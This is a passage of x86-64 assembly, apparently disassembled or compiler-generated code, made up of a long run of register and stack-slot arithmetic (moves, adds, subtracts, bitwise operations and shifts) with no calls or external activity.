mov rcx, qword [rsp + 0x5070]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4f68]
mov byte [rcx], al
movzx eax, word [rsp + 0x8b8]
movzx ecx, word [rsp + 0x894]
sar eax, cl
mov word [rsp + 0x86c], ax
mov rax, qword [rsp + 0x4ec0]
movzx eax, byte [rax]
mov byte [rsp + 0x6d], al
mov rax, qword [rsp + 0x5120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x29f0]
mov dword [rsp + 0x2a9c], eax
mov rax, qword [rsp + 0x50e8]
mov ecx, dword [rsp + 0x2a74]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x4f10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4fa0], rax
mov rax, qword [rsp + 0x50a0]
mov rax, qword [rax]
mov qword [rsp + 0x5180], rax
mov rax, qword [0x14017a0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
and eax, ecx
mov byte [0x140178e5f], al
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8b8]
add eax, ecx
mov word [rsp + 0x898], ax
mov rax, qword [rsp + 0x4f60]
movzx eax, byte [rax]
mov byte [rsp + 0x6e], al
movzx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x4d70]
movzx eax, word [rax]
mov word [rsp + 0x8d8], ax
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x29f0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5160]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x50f8]
mov dword [rcx], eax
lea rax, [rsp + 0x4fa8]
mov qword [rsp + 0x5188], rax
mov rax, qword [rsp + 0x5080]
mov rcx, qword [rsp + 0x5000]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4fa0], rax
lea rax, [rsp + 0x874]
mov qword [0x14017a0e8], rax
mov rax, qword [rsp + 0x4f38]
movzx eax, byte [rax]
mov byte [rsp + 0x6f], al
movzx eax, word [rsp + 0x85c]
mov rcx, qword [rsp + 0x50d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x888], ax
movsx eax, byte [rsp + 0x56]
movsx ecx, byte [rsp + 0x6c]
sub eax, ecx
mov byte [rsp + 0x65], al
lea rax, [rsp + 0x870]
mov qword [rsp + 0x5190], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [0x140178e78]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4e88], rax
mov rax, qword [rsp + 0x5000]
mov rax, qword [rax]
mov qword [rsp + 0x5198], rax
mov eax, dword [rsp + 0x2a90]
mov ecx, dword [rsp + 0x28ac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2970], eax
mov eax, dword [0x140178e8c]
mov rcx, qword [rsp + 0x50e8]
mov qword [rsp + 0x51a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x51a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ff0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
sar eax, cl
mov rcx, qword [0x14017a0a8]
mov byte [rcx], al
lea rax, [rsp + 0x8a8]
mov qword [rsp + 0x51a8], rax
mov rax, qword [rsp + 0x50e0]
movsx eax, word [rax]
movsx ecx, word [0x140178e94]
or eax, ecx
mov word [rsp + 0x87c], ax
movzx eax, byte [rsp + 0x57]
mov byte [rsp + 0x70], al
movsx eax, word [rsp + 0x8b0]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x8b4], ax
mov rax, qword [rsp + 0x4f90]
mov rcx, qword [rsp + 0x4f28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4f88], rax
mov rax, qword [rsp + 0x5008]
mov rax, qword [rax]
mov qword [rsp + 0x51b0], rax
mov rax, qword [rsp + 0x4dc8]
mov rcx, qword [rsp + 0x4e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a9c], eax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov dword [rsp + 0x2aa0], eax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e90]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x890]
mov rcx, qword [rsp + 0x50d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178eac], ax
lea rax, [0x140178e90]
mov qword [rsp + 0x51b8], rax
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5030]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x4f98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x50a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x884], ax
mov eax, dword [rsp + 0x2a84]
mov dword [rsp + 0x2aa4], eax
mov rax, qword [rsp + 0x4f80]
mov rcx, qword [rsp + 0x4ed8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
lea rax, [rsp + 0x4eb0]
mov qword [rsp + 0x51c0], rax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x5170]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a58], eax
movsx eax, byte [rsp + 0x5d]
mov rcx, qword [rsp + 0x4da0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x5c], al
lea rax, [rsp + 0x6d]
mov qword [0x14017a0f0], rax
movzx eax, word [rsp + 0x868]
mov word [rsp + 0x8dc], ax
mov rax, qword [rsp + 0x4ef0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5048]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x8a4], ax
lea rax, [rsp + 0x8a8]
mov qword [rsp + 0x51c8], rax
mov rax, qword [rsp + 0x5130]
mov rcx, qword [rsp + 0x4fd0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f00], rax
mov rax, qword [rsp + 0x4e80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2a9c]
shl eax, cl
mov rcx, qword [rsp + 0x4f50]
mov dword [rcx], eax
lea rax, [rsp + 0x5198]
mov qword [rsp + 0x51d0], rax
mov eax, dword [rsp + 0x29e4]
mov ecx, dword [rsp + 0x2a64]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5018]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x5c]
mov byte [rsp + 0x71], al
movzx eax, word [rsp + 0x8cc]
mov word [0x14017a0f8], ax
movsx eax, byte [rsp + 0x6c]
movsx ecx, byte [rsp + 0x60]
sub eax, ecx
mov byte [rsp + 0x69], al
movzx eax, byte [rsp + 0x6b]
movzx ecx, byte [rsp + 0x5f]
add eax, ecx
mov byte [rsp + 0x5b], al
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x4e80]
mov ecx, dword [rsp + 0x2a60]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5038]
mov eax, dword [rax]
mov dword [rsp + 0x2aa8], eax
mov rax, qword [rsp + 0x50c8]
mov rcx, qword [rsp + 0x51d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4f10]
mov qword [rcx], rax
lea rax, [rsp + 0x4e40]
mov qword [rsp + 0x51d8], rax
mov rax, qword [0x14017a078]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5100]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x8a0], ax
mov rax, qword [rsp + 0x5120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x64]
sub eax, ecx
mov byte [0x140178e5d], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5058]
mov byte [rcx], al
mov rax, qword [rsp + 0x4fb8]
movzx eax, word [rax]
mov word [rsp + 0x8e0], ax
mov rax, qword [rsp + 0x5090]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x50e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
lea rax, [rsp + 0x8d0]
mov qword [rsp + 0x51e0], rax
mov rax, qword [rsp + 0x4e58]
mov ecx, dword [rsp + 0x2a50]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a98], eax
mov eax, dword [rsp + 0x2a18]
movzx ecx, al
mov eax, dword [rsp + 0x2a38]
shr eax, cl
mov dword [rsp + 0x2a74], eax
mov rax, qword [rsp + 0x50a0]
mov rax, qword [rax]
mov qword [rsp + 0x51e8], rax
mov rax, qword [rsp + 0x4f90]
mov rax, qword [rax]
mov rcx, qword [0x14017a058]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e50], rax
movsx eax, byte [rsp + 0x69]
movsx ecx, byte [rsp + 0x64]
shl eax, cl
mov byte [0x140178e5c], al
lea rax, [rsp + 0x6b]
mov qword [rsp + 0x51f0], rax
movzx eax, word [rsp + 0x8c4]
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4e70]
mov word [rcx], ax
mov rax, qword [rsp + 0x5098]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6f]
and eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [0x14017a068]
movzx eax, word [rax]
mov word [rsp + 0x8e4], ax
mov rax, qword [rsp + 0x51d8]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5140], rax
lea rax, [rsp + 0x2a54]
mov qword [rsp + 0x51f8], rax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [0x14017a058]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4e60], rax
mov rax, qword [rsp + 0x5038]
mov eax, dword [rax]
mov dword [rsp + 0x2aac], eax
lea rax, [rsp + 0x8c0]
mov qword [0x14017a100], rax
mov rax, qword [rsp + 0x5120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x59]
sub eax, ecx
mov rcx, qword [rsp + 0x4ff0]
mov byte [rcx], al
movsx eax, byte [0x140178e6b]
movsx ecx, byte [rsp + 0x69]
add eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
movzx eax, word [rsp + 0x874]
mov word [rsp + 0x8e8], ax
mov rax, qword [rsp + 0x4e90]
movzx eax, byte [rax]
movzx ecx, byte [0x140178e5e]
sub eax, ecx
mov byte [rsp + 0x53], al
lea rax, [rsp + 0x29c4]
mov qword [rsp + 0x5200], rax
mov rax, qword [rsp + 0x4fd8]
mov rcx, qword [rsp + 0x4c80]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4fa0], rax
mov rax, qword [rsp + 0x5078]
mov rcx, qword [rsp + 0x4fd0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4f40], rax
mov eax, dword [rsp + 0x2aac]
mov dword [rsp + 0x2ab0], eax
movzx eax, byte [rsp + 0x63]
movzx ecx, byte [rsp + 0x6d]
add eax, ecx
mov byte [0x14017a054], al
movsx eax, byte [rsp + 0x6e]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5a], al
lea rax, [rsp + 0x88c]
mov qword [rsp + 0x5208], rax
movzx eax, word [rsp + 0x8bc]
mov rcx, qword [rsp + 0x4fb8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x51c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x50a8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5168]
mov word [rcx], ax
mov rax, qword [rsp + 0x51d8]
mov rax, qword [rax]
mov qword [rsp + 0x5210], rax
mov rax, qword [rsp + 0x4fa0]
mov rcx, qword [rsp + 0x4fd8]
mov qword [rsp + 0x5218], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5218]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4b78], rax
mov eax, dword [0x14017a064]
mov dword [rsp + 0x2ab4], eax
mov rax, qword [rsp + 0x5060]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x28f4]
sar eax, cl
mov dword [rsp + 0x2970], eax
lea rax, [rsp + 0x87c]
mov qword [0x14017a108], rax
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x69]
and eax, ecx
mov byte [rsp + 0x65], al
movzx eax, byte [rsp + 0x63]
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8c4]
sub eax, ecx
mov word [rsp + 0x8b8], ax
mov rax, qword [rsp + 0x51a8]
movzx eax, word [rax]
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x4f70]
mov rcx, qword [rsp + 0x51f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2970], eax
lea rax, [rsp + 0x2a4c]
mov qword [rsp + 0x5220], rax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4e60]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x51d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5130]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5210], rax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5e]
add eax, ecx
mov rcx, qword [0x14017a070]
mov byte [rcx], al
mov rax, qword [0x14017a068]
movzx eax, word [rax]
mov word [rsp + 0x8f0], ax
mov rax, qword [rsp + 0x4fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x890]
sub eax, ecx
mov rcx, qword [rsp + 0x51c8]
mov word [rcx], ax
movzx eax, word [rsp + 0x868]
mov word [rsp + 0x8f4], ax
movzx eax, byte [rsp + 0x5b]
mov rcx, qword [rsp + 0x5108]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x4bf8]
mov ecx, dword [rsp + 0x2a80]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x51f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f10]
mov rax, qword [rax]
mov qword [rsp + 0x5228], rax
mov rax, qword [rsp + 0x50d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2aa8]
shl eax, cl
mov dword [rsp + 0x2a18], eax
mov rax, qword [rsp + 0x5130]
mov qword [rsp + 0x5230], rax
lea rax, [rsp + 0x5f]
mov qword [0x14017a110], rax
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x6f]
xor eax, ecx
mov byte [rsp + 0x73], al
movzx eax, word [0x14017a0f8]
mov rcx, qword [rsp + 0x50d8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cf8]
movzx eax, byte [rax]
mov byte [rsp + 0x74], al
movsx eax, word [rsp + 0x8b0]
movsx ecx, word [rsp + 0x868]
sar eax, cl
mov word [rsp + 0x860], ax
lea rax, [rsp + 0x2a60]
mov qword [rsp + 0x5238], rax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x5228]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4f28]
mov qword [rcx], rax
lea rax, [rsp + 0x2a70]
mov qword [rsp + 0x5240], rax
mov rax, qword [rsp + 0x5008]
mov rax, qword [rax]
mov rcx, qword [0x140178e60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ed8], rax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
sub eax, ecx
mov rcx, qword [0x14017a0b0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6a]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
movzx eax, word [rsp + 0x8dc]
mov word [rsp + 0x8f8], ax
mov rax, qword [rsp + 0x5070]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ff0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f38]
movzx eax, byte [rax]
mov byte [rsp + 0x75], al
mov eax, dword [rsp + 0x2a70]
mov ecx, dword [rsp + 0x2a68]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x51d0]
mov rcx, qword [rsp + 0x4fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4f88], rax
mov rax, qword [rsp + 0x5060]
mov eax, dword [rax]
mov dword [rsp + 0x2ab8], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x50f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4fa8], rax
mov rax, qword [rsp + 0x4d98]
movzx eax, word [rax]
mov word [rsp + 0x8fc], ax
lea rax, [rsp + 0x6d]
mov qword [0x14017a118], rax
movzx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x51c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8cc], ax
mov rax, qword [rsp + 0x5030]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x69]
and eax, ecx
mov byte [rsp + 0x6e], al
lea rax, [rsp + 0x5b]
mov qword [rsp + 0x5248], rax
mov rax, qword [rsp + 0x4f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x51c0]
mov qword [rsp + 0x5250], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5250]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4f78], rax
lea rax, [rsp + 0x4aa0]
mov qword [rsp + 0x5258], rax
mov rax, qword [rsp + 0x50f8]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2a04], eax
mov rax, qword [rsp + 0x4ca8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4e58]
mov qword [rsp + 0x5260], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5260]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2a5c], eax
movzx eax, byte [rsp + 0x59]
mov byte [rsp + 0x76], al
lea rax, [rsp + 0x8a8]
mov qword [0x14017a120], rax
mov rax, qword [rsp + 0x4fb0]
movzx eax, word [rax]
mov rcx, qword [0x14017a100]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x5048]
movzx eax, word [rax]
mov word [rsp + 0x900], ax
movzx eax, byte [rsp + 0x73]
movzx ecx, byte [rsp + 0x70]
add eax, ecx
mov rcx, qword [rsp + 0x4e78]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f10]
mov rax, qword [rax]
mov qword [rsp + 0x5268], rax
mov rax, qword [rsp + 0x5240]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a68]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x5180]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5008]
mov qword [rcx], rax
lea rax, [rsp + 0x2a9c]
mov qword [rsp + 0x5270], rax
mov rax, qword [rsp + 0x5208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8c8]
add eax, ecx
mov word [rsp + 0x8ac], ax
movsx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x5030]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a0b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ec0]
movzx eax, byte [rax]
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x69]
sub eax, ecx
mov rcx, qword [rsp + 0x4ff0]
mov byte [rcx], al
movsx eax, word [rsp + 0x8fc]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x50e0]
mov word [rcx], ax
mov eax, dword [0x140178e6c]
mov dword [rsp + 0x2abc], eax
mov rax, qword [rsp + 0x5038]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5170]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5258]
mov rax, qword [rax]
mov qword [rsp + 0x5278], rax
mov rax, qword [rsp + 0x4f28]
mov rcx, qword [rsp + 0x5000]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4fa0], rax
mov rax, qword [rsp + 0x4f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6e]
sub eax, ecx
mov rcx, qword [rsp + 0x4ff0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5128]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178e5e], al
movzx eax, word [rsp + 0x85c]
mov word [rsp + 0x904], ax
mov rax, qword [rsp + 0x51b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5090]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x51b8]
mov word [rcx], ax
movzx eax, word [rsp + 0x8c4]
mov word [rsp + 0x908], ax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x6d]
or eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4c80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ae0]
mov qword [rsp + 0x5280], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5280]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4e50], rax
lea rax, [rsp + 0x51b0]
mov qword [rsp + 0x5288], rax
mov eax, dword [rsp + 0x2a64]
movzx ecx, al
mov eax, dword [0x140178e8c]
shl eax, cl
mov dword [rsp + 0x2a48], eax
lea rax, [rsp + 0x29f0]
mov qword [rsp + 0x5290], rax
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140178eb0], ax
mov rax, qword [rsp + 0x5070]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5d]
add eax, ecx
mov byte [rsp + 0x58], al
lea rax, [rsp + 0x8bc]
mov qword [rsp + 0x5298], rax
mov rax, qword [rsp + 0x5098]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x50e0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x51b8]
mov word [rcx], ax
lea rax, [rsp + 0x4b88]
mov qword [rsp + 0x52a0], rax
mov eax, dword [0x140178e6c]
mov ecx, dword [rsp + 0x28cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov dword [rcx], eax
lea rax, [rsp + 0x4fa8]
mov qword [rsp + 0x52a8], rax
mov rax, qword [rsp + 0x5150]
mov rcx, qword [rsp + 0x50e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a04], eax
mov rax, qword [rsp + 0x4f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
sub eax, ecx
mov rcx, qword [0x14017a0a8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x77]
mov rcx, qword [rsp + 0x51f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x5028]
movzx eax, word [rax]
mov word [rsp + 0x90c], ax
mov rax, qword [rsp + 0x4ff0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x65], al
movzx eax, word [rsp + 0x878]
mov word [rsp + 0x910], ax
mov eax, dword [rsp + 0x2908]
mov ecx, dword [rsp + 0x2aac]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ca8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4f50]
mov qword [rsp + 0x52b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x52b0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x5268]
mov qword [rsp + 0x52b8], rax
mov rax, qword [rsp + 0x4e40]
movzx ecx, al
mov rax, qword [rsp + 0x4f40]
shl rax, cl
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
lea rax, [rsp + 0x62]
mov qword [0x14017a128], rax
mov rax, qword [rsp + 0x4d70]
movzx eax, word [rax]
mov word [rsp + 0x914], ax
mov rax, qword [rsp + 0x4e08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x51e0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x874], ax
lea rax, [rsp + 0x85c]
mov qword [rsp + 0x52c0], rax
mov rax, qword [0x14017a090]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5040]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x2a34]
mov ecx, dword [rsp + 0x2a78]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x50c0]
mov dword [rcx], eax
lea rax, [rsp + 0x4ac8]
mov qword [rsp + 0x52c8], rax
mov rax, qword [rsp + 0x5050]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x51d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50f8]
mov eax, dword [rax]
mov dword [rsp + 0x2ac0], eax
movzx eax, byte [rsp + 0x77]
mov rcx, qword [rsp + 0x51f0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a0f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x890]
movzx ecx, word [rsp + 0x8c0]
sub eax, ecx
mov word [rsp + 0x8e0], ax
mov rax, qword [rsp + 0x5190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x51e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x868], ax
lea rax, [0x140178e6b]
mov qword [rsp + 0x52d0], rax
mov rax, qword [rsp + 0x52c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x904]
add eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5078]
mov rax, qword [rax]
mov qword [rsp + 0x52d8], rax
mov eax, dword [rsp + 0x2a7c]
mov ecx, dword [rsp + 0x2a48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a8c], eax
mov rax, qword [rsp + 0x4fd8]
mov rcx, qword [rsp + 0x51c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5080]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28ac]
mov dword [rsp + 0x2ac4], eax
lea rax, [rsp + 0x6d]
mov qword [0x14017a130], rax
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov word [rsp + 0x918], ax
mov rax, qword [rsp + 0x4e08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x880]
sar eax, cl
mov rcx, qword [rsp + 0x5048]
mov word [rcx], ax
movsx eax, word [rsp + 0x8d0]
mov rcx, qword [rsp + 0x51b8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x870], ax
lea rax, [rsp + 0x2ab4]
mov qword [rsp + 0x52e0], rax
mov rax, qword [rsp + 0x5238]
mov ecx, dword [rsp + 0x29f0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x28f4], eax
lea rax, [rsp + 0x4e50]
mov qword [rsp + 0x52e8], rax
mov rax, qword [rsp + 0x5278]
